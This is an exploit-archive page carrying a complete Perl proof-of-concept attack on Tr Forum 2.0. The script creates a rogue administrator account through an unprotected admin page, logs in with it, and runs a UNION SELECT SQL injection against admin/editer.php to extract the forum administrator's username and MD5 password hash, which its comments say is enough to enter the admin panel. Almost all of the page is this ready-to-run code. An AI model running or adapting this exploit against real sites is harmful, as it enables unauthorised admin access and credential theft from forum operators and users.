首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Tr Forum 2.0 SQL Injection / Bypass Security Restriction Exploit
来源:acid-root.new.fr/poc/10060903.txt 作者:DarkFig 发布时间:2006-09-05  

#!/usr/bin/perl
#
# Affected.scr..: Tr Forum V2.0
# Poc.ID........: 10060903
# Type..........: SQL Injection, Bypass Security Restriction
# Risk.level....: Medium
# Vendor.Status.: Unpatched
# Src.download..: comscripts.com/scripts/php.tr-forum.1579.html
# Poc.link......: acid-root.new.fr/poc/10060903.txt
# Credits.......: DarkFig
#
# /membres/modif_profil.php => Profil modification (you can choose the id of the member)
# /membres/change_mdp.php => Password modification ( same... )
# /admin/insert_admin.php => Second admin (only del post)
# /admin/editer.php => SQL Injection without quote
#
# You don't need to crack passwd hashes (for the admin panel)...
# Go to the admin panel (/admin/), enter the username and the hash (not the passwd)... bad security =(
# This exploit is FOR EDUCATIONAL PURPOSE ONLY x 999
#
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

print STDOUT "\n+", '-' x 53, "+\n";
print STDOUT "| Tr Forum V2.0 Admin MD5 Passwd Hash Disclosure |\n";
print STDOUT '+', '-' x 53, "+\n";

my($host,$path,$proxh,$proxu,$proxp);
my $opt = GetOptions(
'host=s' => \$host,
'path=s' => \$path,
'proxh=s' => \$proxh,
'proxu=s' => \$proxu,
'proxp=s' => \$proxp);

if(!$host) {
print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] [Options] |\n";
print STDOUT "| [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd] |\n";
print STDOUT '+', '-' x 53, "+\n";
exit(0);
}

if($host !~ /http/) {$host = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}
if(!$path) {$path = '/';}

print STDOUT " [!]Host..: $host\n";
print STDOUT " [!]Path..: $path\n";
print STDOUT " [~]Admin user...\n";
sleep(1);

my $cc = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new();
$ua->cookie_jar($cc);
$ua->agent('0xzilla');
$ua->timeout(30);
$ua->proxy(['http'] => $proxh) if $proxh;

my $re = POST $host.$path.'/admin/insert_admin.php',[
'login' => 'AcidSploitWasHere',
'password' => 'psychopasswd',
'mail' => 'nospam@bot.com',
];
$re->proxy_authorization_basic($proxu, $proxp) if $proxp;
$ua->request($re);

print STDOUT " [+]User..: AcidSploitWasHere\n";
print STDOUT " [+]Pass..: psychopasswd\n";
print STDOUT " [!]Rights: 2 (medium)\n";
print STDOUT " [~]Collecting admin's hash/username...\n";
sleep(1);

my $re = POST $host.$path.'index.php',[
'login' => 'AcidSploitWasHere',
'pwd' => 'psychopasswd',
];
$ua->request($re);

my $re = $ua->get($host.$path.'admin/editer.php?id2=-1 UNION SELECT pass,pseudo,0 FROM tr_user_forum');

if($re->content =~ /">([a-z0-9]{32})<\/font>/) {
print STDOUT "\n ".$1.'::';}

if($re->content =~ /;">(.*?)<\/textarea>/) {
print STDOUT $1.' (root)';}

print STDOUT "\n+", '-' x 53, "+\n";
exit(0);



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PmWiki <= 2.1.19 (Zend_Hash
·pHNews <= alpha 1 (template
·Annuaire 1Two 2.2 Remote SQL I
·SoftBB 0.1 (cmd) Remote Comman
·TikiWiki <= 1.9 Sirius (jho
·J. River Media Center 11.0.309
·PowerZip <= 7.06.3895 Long
·PhpCommander <= 3.0 Remote
·TIBCO Rendezvous <= 7.4.11
·RaidenHTTPD 1.1.49 (SoftParser
·TIBCO Rendezvous <= 7.4.11
·X11R6 <= 6.4 XKEYBOARD Loca
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved